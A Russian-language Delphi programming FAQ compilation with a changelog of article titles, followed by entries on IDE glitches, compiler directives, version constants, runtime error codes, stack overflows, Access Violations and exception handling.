Взять один символ из потока памяти New!
Как управлять спикером под 9х из Дельфи? Updated!
Как получить короткий путь файла если есть длинный и на оборот? New!
Получение уведомлений от оболочки (Shell) New!
CopyFile для Linux New!
Как построить строку подключения New!
Как запустить консольное приложение и перехватить вывод? New!
Как узнать загрузку CPU определённым процессом? New!
Как узнать расход памяти процессом? New!
Как узнать имя компьютера? New!
Как узнать свободное место на диске? New!
Как сделать Ping? New!
Модуль CRT для Linux New!
Установка Kylix под новые версии Linux (ядро 2.6) New!
Как, зная Handle окна программы, определить имя EXE Updated!
Libqt для Kylix с поддержкой сглаживания New!
КроссKylix - возможность под Windows Delphi получать Linux исполняемые файлы New!
Как использовать Tray под Linux New!
Глюк при запуске приложений через ShellListView New!
Таблицу в clipboard New!
Проверка - установлен ли определенный бит? New!
Установка бита в единицу New!
Установка бита в ноль New!
Переключение состояния бита с единицы на ноль и наоборот New!
Пример чтения данных по битовой маске из значения New!
Как узнать производителя CD/DVD New!
Как открыть CD-ROM, если их несколько в системе? New!
Изменение скорости привода CD-ROM New!
Как мне избавиться от выскакивающего окна CPU при ошибках? New!
Смена свойств приложения, открываемого, по умолчанию в среде при её запске New!
ASCII код для PrintScreen New!
Получение имени шрифта, зная имя файла шрифта New!
Просмотр состояния корзины New!
Очистка корзины New!
Удаление файла в корзину New!
Получение информации о папках и файлах находящихся на данный момент в корзине New!
Восстановление файла из корзины New!
Закрытие всех окон IE New!
Основы работы с Windows API New!
Как получить список процессов в Win9x New!
Поиск значения типа DWORD в указанном процессе New!
Как спрятать программу от TaskManager в WindowsXP и 2000 New!
Аналог DumpBin New!
Получить текст окна, где этого не может WM_GETTEXT New!
Печать TStringGrid New!
Переходим на клиент-сервер (советы), на примере MS SQL Server New!
Запросы и параметры, или как избавится от многих проблем…. New!
Перекодировка, из разных кодировок New!
Алгоритм шифования TEA New!
Алгоритм поиска всех уникальных слов в файле New!
Получение IP адресов всех компьютеров в рабочей группе New!
Демонстрационная программа сканирования сети New!
Демонстрационная программа получения информации о компьютере по IP New!
Не работает кнопка <Enter> в WebBrowser New!
Cut и Copy отказываются работать New!
Алгоритм поворота изображения Updated!
Пример градиентной заливки формы New!
Скриншот, Принцип получения New!
Инверсия всех цветов в TBitmap New!
Определить формат изображения, загруженного в TMemoryStream New!
Информация о AVI файле, (разбор заголовка AVI) New!
поддержка библиотеки сжатия ZLib New!
Удобная функция ifthen New!
Использование PosEx взамен Pos New!
модуль поиска по маске New!
Работа с массивом компонентов New!
Форма изменяющая размеры без заголовка New!
функции для изменения и получения чуствительности мышки New!
Замена Application.ProcessMessages New!
Как сворачивать все приложение при сворачивании неглавного окна? New!
Как сделать плавное закрытие окна ? New!
Как назначить событие на увеличение/уменьшение TSpinEdit с помощью стрелочек? New!
Как определить, работает ли программа в виртуальной машине VMware? New!
Как определить, работает ли программа в виртуальной машине Connectrix? New!
Трассировка пути до определенного IP адреса (Traceroute) New!
Предпросмотр/печать TRichEdit New!
Как узнать IP клиента и IP сервера для активного RAS-подключения? New!
Как узнать частоту обновления монитора? New!
Как заблокировать доступ к дисководу? New!
Antivirus API New!
Пример процедуры убивающей таймеры по заголовку окна в чужих приложениях написанных на Delphi New!
Присвоение форме выбранного окна свойства Disabled / Enabled New!
Отображение формы выбранного окна New!
Закрыть выбранное окно New!
Сделать форму выбранного окна поверх остальных New!
Запретить в выбранном окне кнопку закрытия x New!
Поменять заголовок выбранного окна New!
Атомы: Запись, чтение и удаление информации New!
алгоритмы теории графов New!
Примеры работы с MS Excel New!
Как зыкрыть Excel New!
Помещение формы в поток New!
Несколько функций для TStream New!
Поток с доступом к глобальной переменной основной программы New!
Работа с регионами (статья) New!
Дельфи 2005 - отчёт, как я был на конференции Борланда New!
Эта незнакомая IDE! (статья) New!
Проход дерева каталогов Updated!
Как добавить пункт меню? New!
Как програмно переключить состояние клавиш Num Lock, Caps Lock, Scroll Lock? Updated!
Как сменить обои на рабочем столе? Updated!
Сбростить BDE базу данных в XML файл New!
Подключение через TMySQLClien & TMySQLResult New!
Транслитерация New!
Как получить URL? New!
Как получить POST данные? Updated!
Как запустить DTS из StoredProcedure New!
Запись файла New!
Критерии выбора базы данных (статья) New!
Поиск значения по любому столбцу New!
Работа через MAPI Updated!

Примечание: я не могу гарантировать что все изменения попали в этот список. Слишком много всего было сделано.


Delphi IDE, компиллятор, отладчик, редактор

Cодержание раздела:

Ошибки связанные с работой среды Дельфи
· Delphi 4 виснут при запуске. Видеокарта S3 Virge?
· В основном Help'е в Delphi не работает индекс по Win32?
· Исчезает главное меню Delphi, почему?
· Where are my components?
· Hidden or missing IDE
· IDE highlighting the incorrect line

Директивы компилляции
· Какие есть директивы компилятора?
· Как сделать свои собственные сообщения при компилляции
· Как узнать версию компиллятора?
· Предопределённые константы условной компилляции

Ошибки в Дельфи
· Delphi Run-Time Error Codes
· Как мне избавиться от выскакивающего окна CPU при ошибках?
· Duplicate resource error
· Data segment too large error
· Error reading symbol file
· Stack Overflow, Runtime error 202
· Список префиксов Internal Error
· Почему возникает ошибка Access Violation?
· Error: Interface not supported
· Как перехватить сообщение об ошибке?
· Как предотвратить утечки памяти при возникновении ошибок?
· Как сгенерировать свою ошибку?
· EOleSysError - как бороться?

Краткая история Delphi
Delphi 7. Отличия и особенности.
Горячие клавиши Дельфи
Типы файлов в среде Дельфи
Как заставить стартовать дельфи без заставки?
Как заставить стартовать дельфи без проекта? Проблема использования компонентов в D6/7 от предыдущих версий
Скрытые настройки Дельфи
Смена свойств приложения, открываемого, по умолчанию в среде при её запуске
Способы уменьшения размера Exe файлов полученных с помощью Дельфи? New!
Активизация и использование в IDE окна CPU New!
Работа с IDE из программы New!
Как мне избавиться от выскакивающего окна CPU при ошибках? New!
Смена свойств приложения, открываемого, по умолчанию в среде при её запске New!
Эта незнакомая IDE! (статья) New!

Работа с ToolsAPI (Эксперты и редакторы свойств)
· Как создать свой пункт меню в Дельфи IDE?
· Как создать простейший эксперт
· Отладка экспертов
· Delphi 7 ToolsAPI: Компоненты
· Создание редактора свойства
· Ещё примеры экспертов
· Использование открытых интерфейсов
· Текущий модуль и проект
· Код определения свойств
· Регистрация редактора свойства
· Показ свойств во время выполнения программы
· Текущий модуль и проект
· Редактор свойства Color с заданными ограничениями


Ошибки связанные с работой среды Дельфи

Cодержание раздела:

Delphi 4 виснут при запуске. Видеокарта S3 Virge?
В основном Help'е в Delphi не работает индекс по Win32?
Исчезает главное меню Delphi, почему?
Where are my components?
Hidden or missing IDE
IDE highlighting the incorrect line


Delphi 4 виснут при запуске. Видеокарта S3 Virge?

REGEDIT4
[HKEY_CURRENT_CONFIG\Display\Settings]
"BusThrottle"="on"

Если не помогает, то попробуйте добавить в system.ini:
[Display]
"BusThrottle"="On"

Эта проблема устранена в Delphi 4sp3.

Взято с сайта http://blackman.wp-club.net/

Надо уменьшить степень аппаратного ускорения графики в свойствах компьютера

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com


В основном Help'е в Delphi не работает индекс по Win32?

- в /help/delphi3.cfg добавить строку типа
:index Win32=Win32.hlp
она должна быть добавлена перед строкой
:Link win32.hlp
- стереть delphi3.gid
- запустить Help и получать удовольствие

В delphi3.cnt тоже нужно строчку добавить:
:include win32.cnt

Взято с сайта http://blackman.wp-club.net/


Исчезает главное меню Delphi, почему?

Дельфи до 6й версии неправильно распознают профили пользователей в 2000/XP. Надо установить Дельфи под тем пользователем под которым будете его использовать.

Автор Mikel
Взято с Vingrad.ru http://forum.vingrad.ru


Where are my components?

Windows NT and 2000:
Most likely Delphi was installed by an administrator or a user with administrator rights and the user currently logged on does not have administrator rights. The component library is failing to load because it does not have the registry keys available that indicate where the packages are located. Install first as Admin, then do a 'Registry Settings Only' install for each user to get all the necessary DLL's and registry key entries to run Delphi under a specific user profile.

To do this login as the user and run the Delphi install. Around 3 screens in you'll get to the screen where you need to choose the install directories. At the bottom of this screen is a check box to select for Registry Settings Only. Complete the install as usual. It should be much faster since no files are copied.

If it looks like the components are there but the bitmap images are missing then try unistalling and reinstalling each package. This can be done very easily by going into the Delphi menu option Component | Install Packages. Uncheck each of the packages and then check it again. Say "Yes" to any message boxes that appear asking about the removal of related packages. I recommend you start by removing "Borland Database Components" since this will remove several others as well.


Hidden or missing IDE

Occasionally in Delphi 5 the IDE will 'disappear'. This is to say you will launch Delphi, and most or all of your IDE will not be visible. Delphi is clearly running and working, as you can still use your hot keys and run and compile a program, you just can't see such useful items such as the object inspector or your component tool bar.

This is caused by Delphi saving bogus information in its desktop preference files, or '.dsk' files. Delphi saves information about your environment options and settings in these files. In order to see your IDE again, all you need to do is delete these offending files. This will in no way harm Delphi or your project, as Delphi will dynamically generate these files as it needs them. You will however lose any environment settings that you had set previously.


IDE highlighting the incorrect line

On one project, the IDE insists on highlighting the incorrect line
for different conditions. For example, when a syntax error is
highlighted, the line above the error is highlighted or when I set
breakpoints by choosing a blue dot in the gutter, it does not
"line up" with the text line. How can I fix this?

This condition is usually caused by opening the file in a different
editor than the editor provided by the IDE. If a line of code is
somehow modified and then saved back to the disk using only a carriage
return for a line terminating character (instead of a carriage return
+ line feed sequence), the IDE may get confused. To fix the problem,
load the file into an editor that will save each line with a carriage
return + line feed sequence.

Примечание от Vit: ошибка исправлена в Дельфи 7.


Директивы компилляции

Cодержание раздела:

Какие есть директивы компилятора?
Как сделать свои собственные сообщения при компилляции
Как узнать версию компиллятора?
Предопределённые константы условной компилляции


Какие есть директивы компилятора?

{$I+} и {$I-}  - директивы контроля ввода/вывода
{$M} и {$S} - директивы, определяющие размер стека

{$M+} и {$M-}  - директивы информации времени выполнения о типах
{$Q+} и {$Q-}   - директивы проверки переполнения целочисленных операций

{$R} - директива связывания ресурсов

{$R+} и {$R-}  - директивы проверки диапазона

{$APPTYPE CONSOLE} - директива создания консольного приложения

1) Директивы компилятора, разрешающие или запрещающие проверку утверждений.

По умолчанию {$C+} или {$ASSERTIONS ON}
Область действия локальная

Директивы компилятора $C разрешают или запрещают проверку утверждений. Они влияют на работу процедуры Assert,используемой при отладке программ. По умолчанию действует
директива {$C+} и процедура Assert генерирует исключение EAssertionFailed, если проверяемое утверждение ложно.
Так как эти проверки используются только в процессе отладки программы, то перед ее окончательной компиляцией следует указать директиву {$C-}. При этом работа процедур Assert будет блокировано и генерация исключений EassertionFailed производиться не будет.
Директивы действуют на весь файл исходного кода независимо от того, в каком месте файла они расположены.

2) Директивы компилятора, включающие и выключающие контроль файлового ввода-вывода.

По умолчанию {$I+} или {$IOCHECKS ON}
Область действия локальная

Директивы компилятора $I включают или выключают автоматический контроль результата вызова процедур ввода-вывода Object Pascal. Если действует директива {$I+}, то при возвращении процедурой ввода-вывода ненулевого значения генерируется исключение EInOutError и в его свойство errorcode заносится код ошибки. Таким образом, при действующей директиве {$I+} операции ввода-вывода располагаются в блоке try...except, имеющем обработчик исключения EInOutError. Если такого блока нет, то обработка производится методом TApplication.HandleException.
Если действует директива {$I-}, то исключение не генерируется. В этом случае проверить, была ли ошибка, или ее не было, можно, обратившись к функции IOResult. Эта функция очищает ошибку и возвращает ее код, который затем можно анализировать. Типичное применение директивы {$I-} и функции IOResult демонстрирует следующий пример:

{$I-}

AssignFile(F,s);
Rewrite(F);

{$I+}
i:=IOResult;
if i<>0 then
  case i of
    2: ..........
    3: ..........
  end;

В этом примере на время открытия файла отключается проверка ошибок ввода вывода, затем она опять включается, переменной i присваивается значение, возвращаемое функцией IOResult и, если это значение не равно нулю (есть ошибка), то предпринимаются какие-то действия в зависимости от кода ошибки. Подобный стиль программирования был типичен до введения в Object Pascal механизма обработки исключений. Однако сейчас, по-видимому, подобный стиль устарел и применение директив $I потеряло былое значение.

3) Директивы компилятора, определяющие размер стека

По умолчанию {$M 16384,1048576}
Область действия глобальная

Локальные переменные в процедурах и функциях размещаются в стеке приложения. При каждом вызове процедуры или функции ее локальные переменные помещаются в стек. При выходе из процедуры или функции эти локальные процедуры удаляются из стека.
Директивы компилятора $M задают параметры стека приложения: его минимальный и максимальный размеры. Приложение всегда гарантировано имеет размер стека, равный его минимальной величине. Если при запуске приложения Windows обнаруживает, что не может выделить этот минимальный объем памяти, то выдается сообщение об этой ошибке.
Если во время работы выясняется, что минимального размера стека не хватает, то размер увеличивается на 4 K, но не более, чем до установленного директивой максимального размера. Если увеличение размера стека невозможно из-за нехватки памяти или из-за достижения его максимальной величины, генерируется исключение EStackOverflow. Минимальный размер стека по умолчанию равен 16384 (16K). Этот размер может изменяться параметром minstacksize директивы {$M} или параметром number директивы {$MINSTACKSIZE}.
Максимальный размер стека по умолчанию равен 1,048,576 (1M). Этот размер может изменяться параметром maxstacksize директивы {$M} или параметром number директивы {$MAXSTACKSIZE number}. Значение минимального размера стека может задаваться целым числом в диапазоне между1024 и 2147483647. Значение максимального размера стека должно быть не менее минимального размера и не более 2147483647. Директивы задания размера стека могут включаться только в программу и не должны использоваться в библиотеках и модулях.

В Delphi 1 имеется процедура компилятора {$S}, осуществляющая переключение контроля переполнения стека. Теперь этот процесс полностью автоматизирован и директива {$S} оставлена только для обратной совместимости.

4) Директивы компилятора, включающие и выключающие генерацию информации времени выполнения о типах (runtime type information - RTTI).

По умолчанию {$M-} или {$ TYPEINFO OFF}
Область действия локальная

Директивы компилятора $M включают или выключают генерацию информации времени выполнения о типах (runtime type information - RTTI). Если класс объявляется в состоянии {$M+} или является производным от класса объявленного в этом состоянии, то компилятор генерирует RTTI о его полях, методах и свойствах, объявленных в разделе published. В противном случае раздел published в классе не допускается. Класс TPersistent, являющийся предшественником большинства классов Delphi и все классов компонентов, объявлен в модуле Classes в состоянии {$M+}. Так что для всех классов, производных от него, заботиться о директиве {$M+}не приходится.

5) Директивы компилятора, включающие и выключающие проверку переполнения при целочисленных операциях

По умолчанию {$Q-} или {$OVERFLOWCHECKS OFF}
Область действия локальная

Директивы компилятора $Q включают или выключают проверку переполнения при целочисленных операциях. Под переполнением понимается получение результата, который не может сохраняться в регистре компьютера. При включенной директиве {$Q+} проверяется переполнение при целочисленных операциях +, -, *, Abs, Sqr, Succ, Pred, Inc и Dec. После каждой из этих операций размещается код, осуществляющий соответствующую проверку. Если обнаружено переполнение, то генерируется исключение EIntOverflow. Если это исключение не может быть обработано, выполнение программы завершается.
Директивы $Q проверяют только результат арифметических операций. Обычно они используются совместно с директивами {$R}, проверяющими диапазон значений при присваивании.
Директива {$Q+} замедляет выполнение программы и увеличивает ее размер. Поэтому обычно она используется только во время отладки программы. Однако, надо отдавать себе отчет, что отключение этой директивы приведет к появлению ошибочных результатов расчета в случаях, если переполнение действительно произойдет во время выполнении программы. Причем сообщений о подобных ошибках не будет.

6) Директивы компилятора, включающие и выключающие проверку диапазона целочисленных значений и индексов

По умолчанию {$R} или {$RANGECHECKS OFF}
Область действия локальная

Директивы компилятора $R включают или выключают проверку диапазона целочисленных значений и индексов. Если включена директива {$R+}, то все индексы массивов и строк и все присваивания скалярным переменным и переменным с ограниченным диапазоном значений проверяются на соответствие значения допустимому диапазону. Если требования диапазона нарушены или присваиваемое значение слишком велико, генерируется исключение ERangeError. Если оно не может быть перехвачено, выполнение программы завершается.
Проверка диапазона длинных строк типа Long strings не производится.
Директива {$R+} замедляет работу приложения и увеличивает его размер. Поэтому она обычно используется только во время отладки.

6) Директива компилятора, связывающая с выполняемым модулем файлы ресурсов

Область действия локальная

Директива компилятора {$R} указывает файлы ресурсов (.DFM, .RES), которые должны быть включены в выполняемый модуль или в библиотеку. Указанный файл должен быть файлом ресурсов Windows. По умолчанию расширение файлов ресурсов - .RES.
В процессе компоновки компилированной программы или библиотеки файлы, указанные в директивах {$R}, копируются в выполняемый модуль. Компоновщик Delphi ищет эти файлы сначала в том каталоге, в котором расположен модуль, содержащий директиву {$R}, а затем в каталогах, указанных при выполнении команды главного меню Project | Options на странице Directories/Conditionals диалогового окна в опции Search path или в опции /R командной строки DCC32.
При генерации кода модуля, содержащего форму, Delphi автоматически включает в файл .pas директиву {$R *.DFM}, обеспечивающую компоновку файлов ресурсов форм. Эту директиву нельзя удалять из текста модуля, так как в противном случае загрузочный модуль не будет создан и генерируется исключение EResNotFound.

Автор ответа: Cashey
Взято с Vingrad.ru http://forum.vingrad.ru

Исправлено и пополнено: Jin X

Примечание Vit:
Все установленные в настройках опции компиляции можно вставить непосредственно в текст программы нажав клавиши Ctrl-O, O


Как сделать свои собственные сообщения при компилляции?

Формат команды:
{$MESSAGE HINT|WARN|ERROR|FATAL 'text string' }

Например, добавление следующих строк приведёт к появлению:

{$MESSAGE 'Появился новый hint!'}
{$MESSAGE Hint 'И это тоже hint!'}
{$MESSAGE Warn 'А это уже Warning'}
{$MESSAGE Error 'Эта строка вызовет ошибку компиляции!'}
{$MESSAGE Fatal 'А это фатальная ошибка компиляции!'}

Пример:

destructor TumbSelectionTempTable.Destroy;
begin
  // Clear the temp tables.
{$MESSAGE Warn ' - remember to free all allocated objects'}
  ClearAllOuterWorldFold;
  if FSubjectsTempTableCreated then
    DropTempTable(FTableName);

  FOuterWorldsFolded.Free;
  FQuery.Free;
  inherited;
end;

Работает только в Дельфи 6/7


Как узнать версию компиллятора?

Как узнать версию компилятора?
Previous Top Next

Иногда надо выполнить разный код в зависимости от версии Дельфи, особенно актуально это при разработки компонентов и модулей, которые используются в разных приложениях.

В Дельфи предопределены специальные константы компиляции для этого:

Ver80 - Дельфи 1
Ver90 - Дельфи 2
Ver93 - С Buider 1
Ver100 - Дельфи 3
Ver110 - С Buider 3
Ver120 - Дельфи 4
Ver125 - С Buider 4
Ver130 - Дельфи 5
Ver140 - Дельфи 6
Ver150 - Дельфи 7

Пример использования:

procedure TForm1.Button2Click(Sender: TObject);
const Version=
{$Ifdef Ver80}'Дельфи 1';{$EndIf}
{$Ifdef Ver90}'Дельфи 2';{$EndIf}
{$Ifdef Ver100}'Дельфи 3';{$EndIf}
{$Ifdef Ver120}'Дельфи 4';{$EndIf}
{$Ifdef Ver130}'Дельфи 5 ';{$EndIf}
{$Ifdef Ver140}'Дельфи 6';{$EndIf}
{$Ifdef Ver150}'Дельфи 7';{$EndIf}
begin
  ShowMessage('Для компиляции этой программы был использован '+Version);
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Предопределённые константы условной компилляции

Предопределённые константы условной компиляции

Версии компилятора

Ver80 - Дельфи 1
Ver90 - Дельфи 2
Ver93 - С Buider 1
Ver100 - Дельфи 3
Ver110 - С Buider 3
Ver120 - Дельфи 4
Ver125 - С Buider 4
Ver130 - Дельфи 5
Ver140 - Дельфи 6
Ver150 - Дельфи 7
Ver160 - Дельфи 8
KYLIX - Kylix 1
KYLIX2 - Kylix 2
KYLIX3 - Kylix 3
KYLIX4 - Kylix 4

Платформа: (определена для Дельфи 6 и выше)

Linux
MSWindows

Среда разработки:

DELPHI
BCB

Взято с Vingrad.ru http://forum.vingrad.ru


Ошибки в Дельфи

Cодержание раздела:

Delphi Run-Time Error Codes
Как мне избавиться от выскакивающего окна CPU при ошибках?
Duplicate resource error
Data segment too large error
Error reading symbol file
Stack Overflow, Runtime error 202
Список префиксов Internal Error
Почему возникает ошибка Access Violation?
Error: Interface not supported
Как перехватить сообщение об ошибке?
Как предотвратить утечки памяти при возникновении ошибок?
Как сгенерировать свою ошибку?
EOleSysError - как бороться?

См. также статьи в других разделах:
Access Violation при передаче неполного параметра
Список ошибок BDE
Ошибка: lock manager out of room
Ошибка о файле SAA.AAA
Как избавиться от ошибки multiple rows in singleton select?

См. также другие разделы:
Объяснения некоторых ошибок при работе с базами данных


Delphi Run-Time Error Codes

Delphi's online help documentation seems to miss the run-time error codes. I usually looked them up in my old Borland Pascal for Windows help file - now they are here for fast access:

1   Invalid function number
2   File not found
3   Path not found
4   Too many open files
5   File access denied
6   Invalid file handle
12   Invalid file access code
15   Invalid drive number
16   Cannot remove current directory
17   Cannot rename across drives
100   Disk read error
101   Disk write error
102   File not assigned
103   File not open
104   File not open for input
105   File not open for output
106   Invalid numeric format
200   Division by zero
201   Range check error
202   Stack overflow error
203   Heap overflow error
204   Invalid pointer operation
205   Floating point overflow
206   Floating point underflow
207   Invalid floating point operation
210   Object not initialized
211   Call to abstract method
212   Stream registration error
213   Collection index out of range
214   Collection overflow error
215   Arithmetic overflow error
216   General protection fault

Взято с сайта http://www.delphifaq.com


Как мне избавиться от выскакивающего окна CPU при ошибках?

HKEY_CURRENT_USER\Software\Borland\Delphi\4.0\Debugging

ViewCPUOnException=0

Взято с сайта http://www.delphifaq.com


Duplicate resource error

When I try to add a resource to my project's .res file, I get a
"Duplicate Resource" error when linking. The resource I have
added is a unique resource. How can I successfully add the
resource to my project?

The projects resource file is generated by the IDE wizard,
and is not intended to be modified. To add additional resources
to your project, create a separate resource file with a unique
name that does not conflict with either the project or any of
the unit names. Then to add the resource file to Delphi, simply
add the following line to any unit file in the project:

{$R MyRes.Res}

(where MyRes.Res is the name of the resource file).

To add the resource to Borland's C++ Builder, add the resource
from the project manager.


Data segment too large error

When I add a large number of typed constants to my application,
my data segment grows too large. How can I get around this?

Typed constants are added to the Program's data segment. Untyped
constants are added to the code segment of the application only if
they are used. Unless you are going to reassign the value of a typed
constant, you should use an untyped constant instead. Typed constants
should be replaced with initialized variables to be compatible with
future versions of the compiler.

Example:

{This adds the constant to the data segment}
const SomeTypedString : string = 'Test';
const SomeTypedInt : integer = 5;

{This adds the constant to the code segment if used}
const SomeUnTypedString = 'Test';
const SomeUnTypedInt = 5;


Error reading symbol file

This usually occurs when you move a project to another drive or
directory. Simply deleting the project's .DSM and .DSK files should
remedy the situation.


Stack Overflow, Runtime error 202

Simply put, stack overflows are caused by putting too much on the
stack. Usually, they are caused by recursive procedures that never
end. A good example would be creating an event handler for the TMemo's
onChange event, and making a change to the Memo during the processing
of the event. Every time the OnChange event gets fired, another change
is made, so the OnChange event gets fired again in an almost endless
loop. The loop finally ends when the stack overflows, and the
application crashes.

Here is an example of a recursive procedure:

procedure RecursiveBlowTheStack;
begin
  RecursiveBlowTheStack;
end;

Sometimes, a stack overflow is caused by too many large procedures.
Each procedure calls another procedure, until the stack simply
overflows. This can be remidied by breaking up large procedures into
smaller ones. A good rule of thumb in regard to a procedures size is
if the procedure's source code takes up more than a screen, its time
to break it down into smaller procedures.

Finally, stack overflows can be caused by creating very large local
variables inside a procedure, or passing a large variable by value to
another procedure. Consider the passing of string variables. If the
string is 255 characters (plus the length byte), if passed by value,
you are actually taking up 256 bytes off the stack. If the procedure
you are calling passes the string by value to yet another procedure,
the string now takes 512 bytes of stack space. Passing the string (or
other variable) as a var or const parameter takes only 4 bytes, since
var and const parameters are simply pointers to the actual data. You
can also create large variables on the heap by dynamic allocation of
the memory;

The following code demonstrates two procedures BlowTheStack(), and
NoBlowTheStack(). The BlowTheStack procedure attempts to allocate a
large local variable designed to be large enough to crash the
application. The NoBlowTheStack() procedure allocates the same large
variable but allocates it on the heap so the function will succeed.

type
  PBigArray = ^TBigArray;
{$IFDEF WIN32}
  TBigArray = array[0..10000000] of byte;
{$ELSE}
  TBigArray = array[0..64000] of byte;
{$ENDIF}

procedure BlowTheStack;
var
  BigArray : TBigArray;
begin
  BigArray[0] := 10;
end;

procedure NoBlowTheStack;
var
  BigArray : PBigArray;
begin
  GetMem(BigArray, sizeof(BigArray^));
  BigArray^[0] := 10;
  FreeMem(BigArray, sizeof(BigArray^));
end;

Finally, the following code demonstrates creating procedures that
accept large variables as parameters. The PassByValueAnCrash()
procedure is designed to crash since the value parameter is too large
for the stack. The PassByVar(), PassByPointer(), and PassByConst will
succeed, since these procedures only use 4 bytes of stack space. Note
that you cannot modify a parameter passed as const, as a const
parameter is assumed to be read only.

Example:

procedure PassByValueAnCrash(BigArray : TBigArray);
begin
  BigArray[0] := 10;
end;

procedure PassByVar(var BigArray : TBigArray);
begin
  BigArray[0] := 10;
end;

procedure PassByPointer(BigArray : PBigArray);
begin
  PBigArray^[0] := 10;
end;

procedure PassByConst(const BigArray : TBigArray);
begin
  ShowMessage(IntToStr(BigArray[0]));
end;


Список префиксов Internal Error

Иногда выскакивают ошибки типа "Internal Error SY424", вот расшифровка префиксов:

B : debugger
BC : debugger
BR : browser
C : codegen
CM : command line version of the compiler
D : parser
DB : debugger
DBG: debug info output
DM : IDE version of the compiler
E : parser
EO : debugger/evaluator
FN : filename / pathname parsing
GH : HPP generator
I : code generator
IN : inspectors
L : linker
LI : BPI file writing
LO : object file loading
M : memory allocation
MA : name mangling
MB : multi-byte (MBCS) support
O : object (OMF) file handling
P : package managment
R : resource writing
S : scanner
ST : standard procedure handling
SY : symbol table
T : code generator
TI : RTTI generator
U : parser
UD : IDE version of the compiler
UI : error handling
URW: DCU reading/writing
W : Object file (OMF) writing
X : code generator

Взято с сайта http://www.delphifaq.com


Почему возникает ошибка Access Violation?

Ошибка "Access Violation" возникает, когда идёт обращение к памяти к которой обращение запрещено. Это возможно во многих случаях, но наиболее типичные ситуации я попытаюсь перечислить:

1) Обращение к не созданному объекту.

var e:TEdit;
begin
  e.text:='Hello world!';
end;

В данном случае объект e ещё не создан и идёт обращение к памяти, которая ещё не выделена.

2) Обращение к уже разрушенному объекту:

var e:TEdit;
begin
  ...
  e.free;
  ...
  e.text:='Hello world';
end;

Тут есть хитрость, допустим вы хотите проверить есть ли объект и модернизируете код:

if e<>nil then e.text:='Hello world!';

или

if assigned(e) then  e.text:='Hello world!';

Особенно часто приходится такое делать когда
надо уничтожить объект:

if e<>nil then e.free;

Так вот - такой код может быть источником ошибки, так как метод Free автоматически не устанавливает указатель в Nil. Обязательно после каждого Free используйте установление указателя в nil:

e.free;
e:=nil;

3) При выходе за границы динамического массива обычно генерится ошибка "Index out of bound", но возможно и возникновение Access Violation, особенно когда не стоят опции компилляции для проверки границ массивов. Эта ошибка может быть очень сложна в отлаживании - дело в том что допустим у вас есть массив а длиной в 10 элементов, в пишете:

a[20]:=something;

И эта строка может пройти как и надо, без всяких проблем, но её выполнение повредит какой-то другой код, причём каждый раз другой! Теперь самая безобидная операция типа i:=10 может вдруг внезапно дать Access Violation.

3) На форме на onCreate вызывается что-то с других форм - эти другие формы на этот момент еще не созданы

4) На форме на onDestroy вызывается что-то с других форм - эти другие формы на этот момент уже разрушены

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Error: Interface not supported

I receive an "Interface is not supported" error when trying to use an interface.

Verify that STDVCL32.DLL and your type library are registered. If casting an interface, you must be using DCOM and the type library must be registered on the client.


Как отловить ошибку?

Try
  {здесь вы пишите код в котором может произойти ошибка}
Except
  {здесь вы пишите код который выполнится если ошибка произойдёт, если ошибки не будет то этот код не выполняется}
End

Вот как будет выполнятся код:
[Line 1]
Try
  [Line 2]
  [Line 3]
  [Line 4]
Except
  [Line 5]
End
[Line 6]

Допустим что [Line x] это строка какого-то Вашего кода. Предположим что при выполнении [Line 3] произошла ошибка, тогда программа будет выполнять строки:

1-2-3(ошибка!)-5-6

Если ошибки нет то будут выполнятся следующие линии кода:

1-2-3-4-6

Если надо чтобы ошибка произошла, но перед этим Вы хотите выполнить некие свои действия, то организовать это можно следующим способом:

Try
  {здесь вы пишите код в котором может произойти ошибка}
Except
  {здесь вы пишите код который выполнится если ошибка произойдёт, если ошибки не будет то этот код не выполняется}
  raise;// вызвать вновь ту же ошибку
End

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Error: RPC Server is unavailable

The error is usually caused because the server can't be located. Make sure you can ping the server machine using the string you typed into the ComputerName property of the TRemoteServer. You might also want to try using an IP address instead in case there is some problem with your DNS configuration or the hosts file. Try setting the "Default Authentication Level" to (Run DCOMCNFG on the server to do this.) Lastly, check the Microsoft Developer's Network on the Web for the latest information on this Microsoft transport. The MSDN can be located at the time of the writing at www.microsoft.com/msdn.


Как перехватить сообщение об ошибке?

Try
  {здесь вы пишите код в котором может произойти ошибка}
Except
  on e:Exception do Shwomessage(e.message);
End

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как предотвратить утечки памяти при возникновении ошибок?

Используйте конструкцию

Try
  {здесь вы пишите код в котором может произойти ошибка}
Finally
  {здесь вы пишите код который выполнится в любом случае - хоть произойдёт ошибка, хоть нет}
End

Например, это часто применяется во избежание утечек при динамическом распределении памяти:

t:TStringList;
...
t:=TStringList.create; //распределили память под объект t
Try
  {здесь работаем с переменной t}
Finally
  t.free;//память выделенная под объект t всегда будет освобождена
End

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как сгенерировать свою ошибку?

raise Exception.Create('Это моя ошибка! Сам что хочу то и пишу здесь!')

Примечание: в отличие от других объектов, объекты типа Exception или других классов, наследованных от Exception не требуют вызова деструкторов или любых других действий по освобождению памяти посли их создания.

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


EOleSysError - как бороться?

Перед тем как Дельфи сможет использовать любые ActiveX/COM (в том числе и ADO компоненты) должна быть выполнена строка Application.Initialize - которая инициализирует использование COM. Если пишется DLL или консольное приложение, которые не имеют объекта Application, то надо просто добавить в Uses ещё один модуль: "oleauto"

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Краткая история Delphi

Delphi - это потомок Турбо Паскаля, который был выпущен для операционной системы CP/M в 1983 году. В феврале 1994 года Турбо Паскаль был перенесен на операционную систему MS-DOS.

